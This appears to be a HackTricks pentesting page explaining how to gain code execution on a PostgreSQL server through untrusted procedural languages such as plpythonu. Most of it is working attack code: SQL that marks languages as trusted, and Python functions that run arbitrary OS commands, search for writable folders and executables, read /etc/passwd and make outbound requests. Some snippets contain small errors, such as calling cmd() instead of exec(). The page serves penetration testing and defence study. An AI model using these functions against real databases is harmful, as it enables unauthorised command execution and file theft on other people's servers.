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326 lines
10 KiB
Markdown
326 lines
10 KiB
Markdown
# RCE with PostgreSQL Languages
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<details>
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<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## PostgreSQL Languages
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The PostgreSQL database you got access to may have different **scripting languages installed** that you could abuse to **execute arbitrary code**.
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You can **get them running**:
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```sql
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\dL *
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SELECT lanname,lanpltrusted,lanacl FROM pg_language;
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```
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Most of the scripting languages you can install in PostgreSQL have **2 flavours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. This are languages that if installed are interesting:
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* **plpythonu**
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* **plpython3u**
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* **plperlu**
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* **pljavaU**
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* **plrubyu**
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* ... (any other programming language using an insecure version)
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{% hint style="warning" %}
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If you find that an interesting language is **installed** but **untrusted** by PostgreSQL (**`lanpltrusted`** is **`false`**) you can try to **trust it** with the following line so no restrictions will be applied by PostgreSQL:
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```sql
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UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
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# To check your permissions over the table pg_language
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SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
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```
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{% endhint %}
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{% hint style="danger" %}
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If you don't see a language, you could try to load it with (**you need to be superadmin**):
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```
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CREATE EXTENSION plpythonu;
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CREATE EXTENSION plpython3u;
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CREATE EXTENSION plperlu;
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CREATE EXTENSION pljavaU;
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CREATE EXTENSION plrubyu;
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```
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{% endhint %}
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Note that it's possible to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one.
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## plpythonu/plpython3u
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{% tabs %}
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{% tab title="RCE" %}
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```sql
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CREATE OR REPLACE FUNCTION exec (cmd text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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return os.popen(cmd).read()
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#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
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$$
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LANGUAGE 'plpythonu';
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SELECT cmd("ls"); #RCE with popen or execve
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```
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{% endtab %}
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{% tab title="Get OS user" %}
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```sql
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CREATE OR REPLACE FUNCTION get_user (pkg text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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return os.getlogin()
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$$
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LANGUAGE 'plpythonu';
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SELECT get_user(""); #Get user, para is useless
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```
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{% endtab %}
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{% tab title="List dir" %}
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```sql
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CREATE OR REPLACE FUNCTION lsdir (dir text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import json
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from os import walk
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files = next(walk(dir), (None, None, []))
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return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
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$$
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LANGUAGE 'plpythonu';
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SELECT lsdir("/"); #List dir
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```
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{% endtab %}
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{% tab title="Find W folder" %}
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```sql
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CREATE OR REPLACE FUNCTION findw (dir text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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writables = []
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def find_writable(path):
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if not os.path.isdir(path):
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return
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if os.access(path, os.W_OK):
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writables.append(path)
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_writable(os.path.join(path, item))
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find_writable(path)
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return writables
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return ", ".join(my_find(dir))
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$$
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LANGUAGE 'plpythonu';
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SELECT findw("/"); #Find Writable folders from a folder (recursively)
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```
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{% endtab %}
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{% tab title="Find File" %}
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```sql
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CREATE OR REPLACE FUNCTION find_file (exe_sea text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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executables = []
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def find_executables(path):
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if not os.path.isdir(path):
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executables.append(path)
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if os.path.isdir(path):
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_executables(os.path.join(path, item))
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find_executables(path)
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return executables
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a = my_find("/")
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b = []
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for i in a:
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if exe_sea in os.path.basename(i):
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b.append(i)
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return ", ".join(b)
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$$
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LANGUAGE 'plpythonu';
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SELECT find_file("psql"); #Find a file
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```
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{% endtab %}
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{% tab title="Find executables" %}
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```sql
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CREATE OR REPLACE FUNCTION findx (dir text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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executables = []
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def find_executables(path):
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if not os.path.isdir(path) and os.access(path, os.X_OK):
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executables.append(path)
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if os.path.isdir(path):
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_executables(os.path.join(path, item))
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find_executables(path)
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return executables
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a = my_find(dir)
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b = []
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for i in a:
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b.append(os.path.basename(i))
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return ", ".join(b)
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$$
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LANGUAGE 'plpythonu';
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SELECT findx("/"); #Find an executables in folder (recursively)
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```
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{% endtab %}
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{% tab title="Find exec by subs" %}
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```sql
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CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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def my_find(path):
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executables = []
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def find_executables(path):
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if not os.path.isdir(path) and os.access(path, os.X_OK):
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executables.append(path)
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if os.path.isdir(path):
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if not os.listdir(path):
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return
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else:
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for item in os.listdir(path):
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find_executables(os.path.join(path, item))
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find_executables(path)
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return executables
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a = my_find("/")
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b = []
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for i in a:
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if exe_sea in i:
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b.append(i)
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return ", ".join(b)
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$$
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LANGUAGE 'plpythonu';
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SELECT find_exe("psql"); #Find executable by susbstring
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```
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{% endtab %}
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{% tab title="Read" %}
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```sql
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CREATE OR REPLACE FUNCTION read (path text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import base64
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encoded_string= base64.b64encode(open(path).read())
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return encoded_string.decode('utf-8')
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return open(path).read()
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$$
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LANGUAGE 'plpythonu';
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select read('/etc/passwd'); #Read a file in b64
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```
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{% endtab %}
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{% tab title="Get perms" %}
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```sql
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CREATE OR REPLACE FUNCTION get_perms (path text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import os
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status = os.stat(path)
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perms = oct(status.st_mode)[-3:]
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return str(perms)
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$$
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LANGUAGE 'plpythonu';
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select get_perms("/etc/passwd"); # Get perms of file
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```
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{% endtab %}
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{% tab title="Request" %}
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```sql
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CREATE OR REPLACE FUNCTION req2 (url text)
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RETURNS VARCHAR(65535) stable
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AS $$
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import urllib
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r = urllib.urlopen(url)
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return r.read()
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$$
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LANGUAGE 'plpythonu';
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SELECT req2('https://google.com'); #Request using python2
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CREATE OR REPLACE FUNCTION req3 (url text)
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RETURNS VARCHAR(65535) stable
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AS $$
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from urllib import request
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r = request.urlopen(url)
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return r.read()
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$$
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LANGUAGE 'plpythonu';
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SELECT req3('https://google.com'); #Request using python3
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```
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{% endtab %}
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{% endtabs %}
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## pgSQL
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Check the following page:
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{% content-ref url="pl-pgsql-password-bruteforce.md" %}
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[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
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{% endcontent-ref %}
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## C
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Check the following page:
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{% content-ref url="rce-with-postgresql-extensions.md" %}
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[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
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{% endcontent-ref %}
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<details>
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<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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